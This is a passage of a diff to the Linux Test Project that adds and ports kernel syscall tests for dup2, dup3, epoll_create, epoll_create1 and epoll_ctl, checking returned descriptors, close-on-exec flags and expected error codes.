+				"got wrong descriptor number back (%d != %d)",
+				fildes[ifile], ifile);
+	}
+
+	if (ifile < min) {
+		tst_res(TFAIL, "Not enough files duped");
+		rc++;
+	} else if (ifile > min) {
+		tst_res(TFAIL, "Too many files duped");
+		rc++;
+	}
+	if (TST_ERR != EBADF && TST_ERR != EMFILE && TST_ERR != EINVAL) {
+		tst_res(TFAIL, "bad errno on dup2 failure");
+		rc++;
+	}
+
+	if (rc)
+		tst_res(TFAIL, "Test failed");
+	else
+		tst_res(TPASS, "Test passed");
+
+	SAFE_UNLINK(pfilname);
+	for (ifile = fildes[0]; ifile < min + 10; ifile++) {
+		if (fildes[ifile] > 0)
+			SAFE_CLOSE(fildes[ifile]);
+	}
+}
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/dup2/dup206.c b/testcases/kernel/syscalls/dup2/dup206.c
new file mode 100644
index 0000000..17d527a
--- /dev/null
+++ b/testcases/kernel/syscalls/dup2/dup206.c
@@ -0,0 +1,48 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * If oldfd is a valid file descriptor, and newfd has the same value as oldfd,
+ * then dup2() does nothing, and returns newfd.
+ */
+
+#include <stdio.h>
+#include <unistd.h>
+#include "tst_test.h"
+
+static int fd = -1;
+
+static void verify_dup2(void)
+{
+	TST_EXP_FD_SILENT(dup2(fd, fd), "dup2(%d, %d)", fd, fd);
+
+	if (TST_RET != fd) {
+		tst_res(TFAIL, "dup2(%d, %d) returns wrong newfd(%ld)", fd, fd, TST_RET);
+		SAFE_CLOSE(TST_RET);
+		return;
+	}
+	tst_res(TPASS, "dup2(%d, %d) returns newfd(%d)", fd, fd, fd);
+}
+
+static void setup(void)
+{
+	fd = SAFE_OPEN("testfile", O_RDWR | O_CREAT, 0666);
+}
+
+static void cleanup(void)
+{
+	if (fd > -1)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_dup2,
+};
diff --git a/testcases/kernel/syscalls/dup2/dup207.c b/testcases/kernel/syscalls/dup2/dup207.c
new file mode 100644
index 0000000..d11b78b
--- /dev/null
+++ b/testcases/kernel/syscalls/dup2/dup207.c
@@ -0,0 +1,80 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test whether the file offset are the same for both file descriptors.
+ */
+
+#include <errno.h>
+#include <stdio.h>
+#include <unistd.h>
+#include "tst_test.h"
+#include "tst_safe_macros.h"
+
+#define WRITE_STR "abcdefg"
+
+static int ofd = -1, nfd = 10;
+
+static struct tcase {
+	off_t offset;
+	size_t exp_size;
+	/* 0 - change offset before dup2, 1 - change offset after dup2 */
+	int flag;
+	char *exp_data;
+	char *desc;
+} tcases[] = {
+	{1, 6, 0, "bcdefg", "Test offset with lseek before dup2"},
+	{2, 5, 1, "cdefg", "Test offset with lseek after dup2"},
+};
+
+static void setup(void)
+{
+	ofd = SAFE_OPEN("testfile", O_RDWR | O_CREAT, 0644);
+	SAFE_WRITE(1, ofd, WRITE_STR, sizeof(WRITE_STR) - 1);
+}
+
+static void cleanup(void)
+{
+	if (ofd > 0)
+		SAFE_CLOSE(ofd);
+	close(nfd);
+}
+
+static void run(unsigned int i)
+{
+	struct tcase *tc = tcases + i;
+	char read_buf[20];
+
+	memset(read_buf, 0, sizeof(read_buf));
+
+	tst_res(TINFO, "%s", tc->desc);
+	if (!tc->flag)
+		SAFE_LSEEK(ofd, tc->offset, SEEK_SET);
+
+	TEST(dup2(ofd, nfd));
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO, "call failed unexpectedly");
+		return;
+	}
+	if (tc->flag)
+		SAFE_LSEEK(ofd, tc->offset, SEEK_SET);
+
+	SAFE_READ(1, nfd, read_buf, tc->exp_size);
+	if (strncmp(read_buf, tc->exp_data, tc->exp_size))
+		tst_res(TFAIL, "Expect %s, but get %s.", tc->exp_data, read_buf);
+	else
+		tst_res(TPASS, "Get expected buf %s", read_buf);
+}
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = run,
+	.setup = setup,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/dup3/dup3_01.c b/testcases/kernel/syscalls/dup3/dup3_01.c
index 6a44ec8..517491d 100644
--- a/testcases/kernel/syscalls/dup3/dup3_01.c
+++ b/testcases/kernel/syscalls/dup3/dup3_01.c
@@ -1,120 +1,64 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) Ulrich Drepper <drepper@redhat.com>                          */
-/* Copyright (c) International Business Machines  Corp., 2009                 */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/******************************************************************************/
-/******************************************************************************/
-/*                                                                            */
-/* File:        dup3_01.c                                                     */
-/*                                                                            */
-/* Description: This Program tests the new system call introduced in 2.6.27.  */
-/*              Ulrich´s comment as in:                                       */
-/* http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=336dd1f70ff62d7dd8655228caed4c5bfc818c56 */
-/*              says:                                                         */
-/* This patch adds the new dup3 syscall.  It extends the old dup2 syscall by  */
-/* one parameter which is meant to hold a flag value.  Support for the        */
-/* O_CLOEXEC flag is added in this patch. The following test must be adjusted */
-/* for architectures other than x86 and x86-64 and in case the                */
-/* syscall numbers changed.                                                   */
-/*                                                                            */
-/* Usage:  <for command-line>                                                 */
-/* dup3_01 [-c n] [-e][-i n] [-I x] [-p x] [-t]                               */
-/*      where,  -c n : Run n copies concurrently.                             */
-/*              -e   : Turn on errno logging.                                 */
-/*              -i n : Execute test n times.                                  */
-/*              -I x : Execute test for x seconds.                            */
-/*              -P x : Pause for x seconds between iterations.                */
-/*              -t   : Turn on syscall timing.                                */
-/*                                                                            */
-/* Total Tests: 1                                                             */
-/*                                                                            */
-/* Test Name:   dup3_01                                                       */
-/*                                                                            */
-/* Author:      Ulrich Drepper <drepper@redhat.com>                           */
-/*                                                                            */
-/* History:     Created - Jan 13 2009 - Ulrich Drepper <drepper@redhat.com>   */
-/*              Ported to LTP                                                 */
-/*                      - Jan 13 2009 - Subrata <subrata@linux.vnet.ibm.com>  */
-/******************************************************************************/
-#include <fcntl.h>
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Ulrich Drepper <drepper@redhat.com>
+ * Copyright (c) International Business Machines  Corp., 2009
+ * Created - Jan 13 2009 - Ulrich Drepper <drepper@redhat.com>
+ * Ported to LTP - Jan 13 2009 - Subrata <subrata@linux.vnet.ibm.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Testcase to check whether dup3() supports O_CLOEXEC flag.
+ */
+
+#define _GNU_SOURCE
+
 #include <stdio.h>
-#include <time.h>
-#include <unistd.h>
-#include <sys/syscall.h>
 #include <errno.h>
+#include <unistd.h>
+#include "tst_test.h"
+#include "tst_safe_macros.h"
 
-#include "test.h"
-#include "lapi/fcntl.h"
-#include "lapi/syscalls.h"
+static int fd = -1;
 
-char *TCID = "dup3_01";
-int TST_TOTAL = 1;
+static struct tcase {
+	int coe_flag;
+	char *desc;
+} tcases[] = {
+	{0, "dup3(1, 4, 0)"},
+	{O_CLOEXEC, "dup3(1, 4, O_CLOEXEC)"},
+};
 
-void cleanup(void)
+static void cleanup(void)
 {
-	tst_rmdir();
+	if (fd > -1)
+		close(fd);
 }
 
-void setup(void)
+static void run(unsigned int i)
 {
-	TEST_PAUSE;
-	tst_tmpdir();
-}
+	int ret;
+	struct tcase *tc = tcases + i;
+	TST_EXP_FD_SILENT(dup3(1, 4, tc->coe_flag), "dup3(1, 4, %d)", tc->coe_flag);
 
-int main(int argc, char *argv[])
-{
-	int fd, coe;
+	fd = TST_RET;
+	ret = SAFE_FCNTL(fd, F_GETFD);
+	if (tc->coe_flag) {
+		if (ret & FD_CLOEXEC)
+			tst_res(TPASS, "%s set close-on-exec flag", tc->desc);
+		else
+			tst_res(TFAIL, "%s set close-on-exec flag", tc->desc);
+	} else {
+		if (ret & FD_CLOEXEC)
+			tst_res(TFAIL, "%s set close-on-exec flag", tc->desc);
+		else
+			tst_res(TPASS, "%s set close-on-exec flag", tc->desc);
+	}
+};
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	if ((tst_kvercmp(2, 6, 27)) < 0)
-		tst_brkm(TCONF, NULL,
-			 "This test can only run on kernels that are 2.6.27 and higher");
-	setup();
-
-	fd = ltp_syscall(__NR_dup3, 1, 4, 0);
-	if (fd == -1) {
-		tst_brkm(TFAIL | TERRNO, cleanup, "dup3(0) failed");
-	}
-	coe = fcntl(fd, F_GETFD);
-	if (coe == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup, "fcntl failed");
-	}
-	if (coe & FD_CLOEXEC) {
-		tst_brkm(TFAIL, cleanup, "dup3(0) set close-on-exec flag");
-	}
-	close(fd);
-
-	fd = ltp_syscall(__NR_dup3, 1, 4, O_CLOEXEC);
-	if (fd == -1) {
-		tst_brkm(TFAIL | TERRNO, cleanup, "dup3(O_CLOEXEC) failed");
-	}
-	coe = fcntl(fd, F_GETFD);
-	if (coe == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup, "fcntl failed");
-	}
-	if ((coe & FD_CLOEXEC) == 0) {
-		tst_brkm(TFAIL, cleanup,
-			 "dup3(O_CLOEXEC) set close-on-exec flag");
-	}
-	close(fd);
-	tst_resm(TPASS, "dup3(O_CLOEXEC) PASSED");
-
-	cleanup();
-	tst_exit();
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = run,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/dup3/dup3_02.c b/testcases/kernel/syscalls/dup3/dup3_02.c
index e49ec35..009b003 100644
--- a/testcases/kernel/syscalls/dup3/dup3_02.c
+++ b/testcases/kernel/syscalls/dup3/dup3_02.c
@@ -1,118 +1,48 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2013 Fujitsu Ltd.
  * Author: Xiaoguang Wang <wangxg.fnst@cn.fujitsu.com>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  */
 
-/*
- * Description:
- * Verify that,
- *  1. dup3() fails with -1 return value and sets errno to EINVAL
- *     if flags contain an invalid value or oldfd was equal to newfd.
+/*\
+ * [Description]
+ *
+ * Test for various EINVAL error.
+ *
+ * - oldfd is equal to newfd without using O_CLOEXEC flag
+ * - oldfd is equal to newfd with using O_CLOEXEC flag
+ * - flags contain an invalid value
  */
 
 #define _GNU_SOURCE
+#define INVALID_FLAG -1
 
-#include <stdio.h>
 #include <errno.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <string.h>
-#include <signal.h>
-#include <sys/types.h>
+#include "tst_test.h"
+#include "tst_safe_macros.h"
 
-#include "test.h"
-#include "safe_macros.h"
-#include "lapi/fcntl.h"
-#include "lapi/syscalls.h"
+static int old_fd = 3;
+static int new_fd = 5;
 
-
-static void setup(void);
-static void cleanup(void);
-
-#define INVALID_FLAG	-1
-
-static int old_fd;
-static int new_fd;
-
-static struct test_case_t {
+static struct tcase {
 	int *oldfd;
 	int *newfd;
 	int flags;
-	int exp_errno;
-} test_cases[] = {
-	{&old_fd, &old_fd, O_CLOEXEC, EINVAL},
-	{&old_fd, &old_fd, 0, EINVAL},
-	{&old_fd, &new_fd, INVALID_FLAG, EINVAL}
+} tcases[] = {
+	{&old_fd, &old_fd, O_CLOEXEC},
+	{&old_fd, &old_fd, 0},
+	{&old_fd, &new_fd, INVALID_FLAG}
 };
 
-char *TCID = "dup3_02";
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-int main(int ac, char **av)
+static void run(unsigned int i)
 {
-	int lc;
-	int i;
+	struct tcase *tc = tcases + i;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(ltp_syscall(__NR_dup3, *(test_cases[i].oldfd),
-			     *(test_cases[i].newfd), test_cases[i].flags));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "dup3 succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO == test_cases[i].exp_errno) {
-				tst_resm(TPASS | TTERRNO,
-					 "dup3 failed as expected");
-			} else {
-				tst_resm(TFAIL | TTERRNO,
-					 "dup3 failed unexpectedly; expected:"
-					 "%d - %s", test_cases[i].exp_errno,
-					 strerror(test_cases[i].exp_errno));
-			}
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	TST_EXP_FAIL2(dup3(*tc->oldfd, *tc->newfd, tc->flags), EINVAL,
+		"dup3(%d, %d, %d)", *tc->oldfd, *tc->newfd, tc->flags);
 }
 
-static void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	tst_tmpdir();
-
-	TEST_PAUSE;
-
-	old_fd = SAFE_CREAT(cleanup, "testeinval.file", 0644);
-	new_fd = -1;
-}
-
-static void cleanup(void)
-{
-	if (old_fd > 0)
-		SAFE_CLOSE(NULL, old_fd);
-
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = run,
+};
diff --git a/testcases/kernel/syscalls/epoll_create/.gitignore b/testcases/kernel/syscalls/epoll_create/.gitignore
new file mode 100644
index 0000000..5c16cfa
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_create/.gitignore
@@ -0,0 +1,2 @@
+epoll_create01
+epoll_create02
diff --git a/testcases/kernel/syscalls/epoll_create/Makefile b/testcases/kernel/syscalls/epoll_create/Makefile
new file mode 100644
index 0000000..ad856ce
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_create/Makefile
@@ -0,0 +1,9 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) Linux Test Project, 2021
+# Author: Xie Ziyao <ziyaoxie@outlook.com>
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/epoll_create/epoll_create.h b/testcases/kernel/syscalls/epoll_create/epoll_create.h
new file mode 100644
index 0000000..8e0801c
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_create/epoll_create.h
@@ -0,0 +1,37 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Linux Test Project, 2021
+ */
+
+#ifndef EPOLL_CREATE_H__
+#define EPOLL_CREATE_H__
+
+#define EPOLL_CREATE_VARIANTS 2
+
+static int do_epoll_create(int size)
+{
+	switch (tst_variant) {
+	case 0:
+		return tst_syscall(__NR_epoll_create, size);
+	break;
+	case 1:
+		return epoll_create(size);
+	break;
+	}
+
+	return -1;
+}
+
+static void variant_info(void)
+{
+	switch (tst_variant) {
+	case 0:
+		tst_res(TINFO, "Testing variant: syscall __NR_epoll_create");
+	break;
+	case 1:
+		tst_res(TINFO, "Testing variant: libc epoll_create()");
+	break;
+	}
+}
+
+#endif /* EPOLL_CREATE_H__ */
diff --git a/testcases/kernel/syscalls/epoll_create/epoll_create01.c b/testcases/kernel/syscalls/epoll_create/epoll_create01.c
new file mode 100644
index 0000000..443554f
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_create/epoll_create01.c
@@ -0,0 +1,39 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Linux Test Project, 2021
+ * Author: Xie Ziyao <ziyaoxie@outlook.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Verify that epoll_create return a nonnegative file descriptor on success.
+ *
+ * The size argument informed the kernel of the number of file descriptors
+ * that the caller expected to add to the epoll instance, but it is no longer
+ * required.
+ */
+
+#include <sys/epoll.h>
+#include "tst_test.h"
+#include "lapi/epoll.h"
+#include "lapi/syscalls.h"
+#include "epoll_create.h"
+
+static int tc[] = {1, INT_MAX};
+
+static void run(unsigned int n)
+{
+	TST_EXP_FD(do_epoll_create(tc[n]), "epoll_create(%d)", tc[n]);
+
+	if (!TST_PASS)
+		return;
+	SAFE_CLOSE(TST_RET);
+}
+
+static struct tst_test test = {
+	.test_variants = EPOLL_CREATE_VARIANTS,
+	.tcnt = ARRAY_SIZE(tc),
+	.setup = variant_info,
+	.test = run,
+};
diff --git a/testcases/kernel/syscalls/epoll_create/epoll_create02.c b/testcases/kernel/syscalls/epoll_create/epoll_create02.c
new file mode 100644
index 0000000..942d7af
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_create/epoll_create02.c
@@ -0,0 +1,41 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Linux Test Project, 2021
+ * Author: Xie Ziyao <ziyaoxie@outlook.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Verify that epoll_create returns -1 and set errno to EINVAL if size is not
+ * greater than zero.
+ */
+
+#include <sys/epoll.h>
+
+#include "tst_test.h"
+#include "lapi/epoll.h"
+#include "lapi/syscalls.h"
+
+#include "epoll_create.h"
+
+static struct test_case_t {
+	int size;
+	int exp_err;
+} tc[] = {
+	{0, EINVAL},
+	{-1, EINVAL}
+};
+
+static void run(unsigned int n)
+{
+	TST_EXP_FAIL(do_epoll_create(tc[n].size),
+		     tc[n].exp_err, "epoll_create(%d)", tc[n].size);
+}
+
+static struct tst_test test = {
+	.test_variants = 2,
+	.tcnt = ARRAY_SIZE(tc),
+	.setup = variant_info,
+	.test = run,
+};
diff --git a/testcases/kernel/syscalls/epoll_create1/.gitignore b/testcases/kernel/syscalls/epoll_create1/.gitignore
index 7de2e42..3e0482d 100644
--- a/testcases/kernel/syscalls/epoll_create1/.gitignore
+++ b/testcases/kernel/syscalls/epoll_create1/.gitignore
@@ -1 +1,2 @@
-/epoll_create1_01
+epoll_create1_01
+epoll_create1_02
diff --git a/testcases/kernel/syscalls/epoll_create1/epoll_create1_01.c b/testcases/kernel/syscalls/epoll_create1/epoll_create1_01.c
index 41aa634..ed359d4 100644
--- a/testcases/kernel/syscalls/epoll_create1/epoll_create1_01.c
+++ b/testcases/kernel/syscalls/epoll_create1/epoll_create1_01.c
@@ -2,51 +2,49 @@
 /*
  * Copyright (c) Ulrich Drepper <drepper@redhat.com>
  * Copyright (c) International Business Machines Corp., 2009
- *
- * Test system call introduced in 2.6.27.
- * http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=a0998b50c3f0b8fdd265c63e0032f86ebe377dbf
- *
- * This patch adds the new epoll_create1 syscall.  It extends the old
- * epoll_create syscall by one parameter which is meant to hold a flag value.
- * In this patch the only flag support is EPOLL_CLOEXEC which causes the
- * close-on-exec flag for the returned file descriptor to be set. A new name
- * EPOLL_CLOEXEC is introduced which in this implementation must have the same
- * value as O_CLOEXEC.
  */
-#include <errno.h>
+
+/*\
+ * [Description]
+ *
+ * Verify that epoll_create1 sets the close-on-exec flag for the returned
+ * file descriptor with EPOLL_CLOEXEC.
+ */
+
 #include <sys/epoll.h>
+
 #include "tst_test.h"
 #include "lapi/epoll.h"
 #include "lapi/syscalls.h"
 
-static void verify_epoll_create1(void)
+static struct test_case_t {
+	int flags;
+	int exp_flag;
+	const char *desc;
+} tc[] = {
+	{0, 0, "without EPOLL_CLOEXEC"},
+	{EPOLL_CLOEXEC, 1, "with EPOLL_CLOEXEC"}
+};
+
+static void run(unsigned int n)
 {
 	int fd, coe;
 
-	fd = tst_syscall(__NR_epoll_create1, 0);
+	fd = tst_syscall(__NR_epoll_create1, tc[n].flags);
 	if (fd == -1)
-		tst_brk(TFAIL | TERRNO, "epoll_create1(0) failed");
+		tst_brk(TFAIL | TERRNO, "epoll_create1(...) failed");
 
 	coe = SAFE_FCNTL(fd, F_GETFD);
-	if (coe & FD_CLOEXEC)
-		tst_brk(TFAIL, "flags=0 set close-on-exec flag");
+	if ((coe & FD_CLOEXEC) != tc[n].exp_flag)
+		tst_res(TFAIL, "epoll_create1(...) %s", tc[n].desc);
+	else
+		tst_res(TPASS, "epoll_create1(...) %s", tc[n].desc);
 
 	SAFE_CLOSE(fd);
-
-	fd = tst_syscall(__NR_epoll_create1, EPOLL_CLOEXEC);
-	if (fd == -1)
-		tst_brk(TFAIL | TERRNO, "epoll_create1(EPOLL_CLOEXEC) failed");
-
-	coe = SAFE_FCNTL(fd, F_GETFD);
-	if ((coe & FD_CLOEXEC) == 0)
-		tst_brk(TFAIL, "flags=EPOLL_CLOEXEC didn't set close-on-exec");
-
-	SAFE_CLOSE(fd);
-
-	tst_res(TPASS, "epoll_create1(EPOLL_CLOEXEC) PASSED");
 }
 
 static struct tst_test test = {
 	.min_kver = "2.6.27",
-	.test_all = verify_epoll_create1,
+	.tcnt = ARRAY_SIZE(tc),
+	.test = run,
 };
diff --git a/testcases/kernel/syscalls/epoll_create1/epoll_create1_02.c b/testcases/kernel/syscalls/epoll_create1/epoll_create1_02.c
new file mode 100644
index 0000000..74c3116
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_create1/epoll_create1_02.c
@@ -0,0 +1,38 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Huawei Technologies Co., Ltd. 2021. All rights reserved.
+ * Author: Xie Ziyao <xieziyao@huawei.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Verify that epoll_create1 returns -1 and set errno to EINVAL with an invalid
+ * value specified in flags.
+ */
+
+#include <sys/epoll.h>
+
+#include "tst_test.h"
+#include "lapi/epoll.h"
+#include "lapi/syscalls.h"
+
+static struct test_case_t {
+	int flags;
+	int exp_err;
+	const char *desc;
+} tc[] = {
+	{-1, EINVAL, "-1"},
+	{EPOLL_CLOEXEC + 1, EINVAL, "EPOLL_CLOEXEC+1"}
+};
+
+static void run(unsigned int n)
+{
+	TST_EXP_FAIL(tst_syscall(__NR_epoll_create1, tc[n].flags),
+		     tc[n].exp_err, "epoll_create1(%s)", tc[n].desc);
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tc),
+	.test = run,
+};
diff --git a/testcases/kernel/syscalls/epoll_ctl/.gitignore b/testcases/kernel/syscalls/epoll_ctl/.gitignore
index 634470a..3e05f2e 100644
--- a/testcases/kernel/syscalls/epoll_ctl/.gitignore
+++ b/testcases/kernel/syscalls/epoll_ctl/.gitignore
@@ -1,2 +1,5 @@
-/epoll_ctl01
-/epoll_ctl02
+epoll_ctl01
+epoll_ctl02
+epoll_ctl03
+epoll_ctl04
+epoll_ctl05
diff --git a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c
index e199ac6..099a0f8 100644
--- a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c
+++ b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c
@@ -4,25 +4,22 @@
  * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
  */
 
-/*
- * Test Name: epoll_ctl01.c
+/*\
+ * [Description]
  *
- * Description:
- *    Testcase to check the basic functionality of the epoll_ctl(2).
- * 1) when epoll_ctl(2) succeeds to register fd on the epoll instance and
- *    associates event with fd, epoll_wait(2) will get registered fd and
- *    event correctly.
- * 2) when epoll_ctl(2) succeeds to chage event which is related to fd,
- *    epoll_wait(2) will get chaged event correctly.
- * 3) when epoll_ctl(2) succeeds to deregister fd from the epoll instance
- *    epoll_wait(2) won't get deregistered fd and event.
+ * Check the basic functionality of the epoll_ctl:
  *
+ * - When epoll_ctl succeeds to register fd on the epoll instance and associates
+ * event with fd, epoll_wait will get registered fd and event correctly.
+ * - When epoll_ctl succeeds to change event which is related to fd, epoll_wait
+ * will get changed event correctly.
+ * - When epoll_ctl succeeds to deregister fd from the epoll instance epoll_wait
+ * won't get deregistered fd and event.
  */
 
-#include <sys/epoll.h>
 #include <poll.h>
-#include <string.h>
-#include <errno.h>
+#include <sys/epoll.h>
+
 #include "tst_test.h"
 
 static int epfd;
@@ -88,9 +85,10 @@
 
 	while (events) {
 		int events_matched = 0;
-		memset(res_evs, 0, sizeof(res_evs));
 
+		memset(res_evs, 0, sizeof(res_evs));
 		res = epoll_wait(epfd, res_evs, 2, -1);
+
 		if (res <= 0) {
 			tst_res(TFAIL | TERRNO, "epoll_wait() returned %i",
 				res);
diff --git a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c
index 280fd67..fe16ad1 100644
--- a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c
+++ b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c
@@ -4,38 +4,29 @@
  * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
  */
 
-/*
- * Test Name: epoll_ctl02.c
+/*\
+ * [Description]
  *
- * Description:
- * 1) epoll_ctl(2) fails if epfd is a invalid file descriptor.
- * 2) epoll_ctl(2) fails if fd is a invalid file descriptor.
- * 3) epoll_ctl(2) fails if op is not supported by this interface.
- * 4) epoll_ctl(2) fails if fd is the same as epfd.
- * 5) epoll_ctl(2) fails with EPOLL_CTL_DEL if fd is not registered
- *    with this epoll instance.
- * 6) epoll_ctl(2) fails with EPOLL_CTL_MOD if fd is not registered
- *    with this epoll instance.
- * 7) epoll_ctl(2) fails with EPOLL_CTL_ADD if fd is already registered
- *    with this epoll instance.
+ * Verify that epoll_ctl() fails with:
  *
- * Expected Result:
- * 1) epoll_ctl(2) should return -1 and set errno to EBADF.
- * 2) epoll_ctl(2) should return -1 and set errno to EBADF.
- * 3) epoll_ctl(2) should return -1 and set errno to EINVAL.
- * 4) epoll_ctl(2) should return -1 and set errno to EINVAL.
- * 5) epoll_ctl(2) should return -1 and set errno to ENOENT.
- * 6) epoll_ctl(2) should return -1 and set errno to ENOENT.
- * 7) epoll_ctl(2) should return -1 and set errno to EEXIST.
- *
+ * - EBADF if epfd is an invalid fd.
+ * - EPERM if fd does not support epoll.
+ * - EBADF if fd is an invalid fd.
+ * - EINVAL if op is not supported.
+ * - EINVAL if fd is the same as epfd.
+ * - EINVAL if events is NULL.
+ * - ENOENT if fd is not registered with EPOLL_CTL_DEL.
+ * - ENOENT if fd is not registered with EPOLL_CTL_MOD.
+ * - EEXIST if fd is already registered with EPOLL_CTL_ADD.
  */
-#include <sys/epoll.h>
+
 #include <poll.h>
-#include <errno.h>
+#include <sys/epoll.h>
+
 #include "tst_test.h"
 
 static int epfd;
-static int fd[2];
+static int fd[2], unsupported_fd;
 static int inv = -1;
 
 static struct epoll_event events[2] = {
@@ -44,23 +35,28 @@
 };
 
 static struct testcase {
-	int *epfds;
+	int *epfd;
 	int opt;
-	int *fds;
-	struct epoll_event *ts_event;
+	int *fd;
+	struct epoll_event *event;
 	int exp_err;
-} tcases[] = {
-	{&inv, EPOLL_CTL_ADD, &fd[1], &events[1], EBADF},
-	{&epfd, EPOLL_CTL_ADD, &inv, &events[1], EBADF},
-	{&epfd, -1, &fd[1], &events[1], EINVAL},
-	{&epfd, EPOLL_CTL_ADD, &epfd, &events[1], EINVAL},
-	{&epfd, EPOLL_CTL_DEL, &fd[1], &events[1], ENOENT},
-	{&epfd, EPOLL_CTL_MOD, &fd[1], &events[1], ENOENT},
-	{&epfd, EPOLL_CTL_ADD, &fd[0], &events[0], EEXIST}
+	const char *desc;
+} tc[] = {
+	{&inv, EPOLL_CTL_ADD, &fd[1], &events[1], EBADF, "epfd is an invalid fd"},
+	{&epfd, EPOLL_CTL_ADD, &unsupported_fd, &events[1], EPERM, "fd does not support epoll"},
+	{&epfd, EPOLL_CTL_ADD, &inv, &events[1], EBADF, "fd is an invalid fd"},
+	{&epfd, -1, &fd[1], &events[1], EINVAL, "op is not supported"},
+	{&epfd, EPOLL_CTL_ADD, &epfd, &events[1], EINVAL, "fd is the same as epfd"},
+	{&epfd, EPOLL_CTL_ADD, &fd[1], NULL, EFAULT, "events is NULL"},
+	{&epfd, EPOLL_CTL_DEL, &fd[1], &events[1], ENOENT, "fd is not registered with EPOLL_CTL_DEL"},
+	{&epfd, EPOLL_CTL_MOD, &fd[1], &events[1], ENOENT, "fd is not registered with EPOLL_CTL_MOD"},
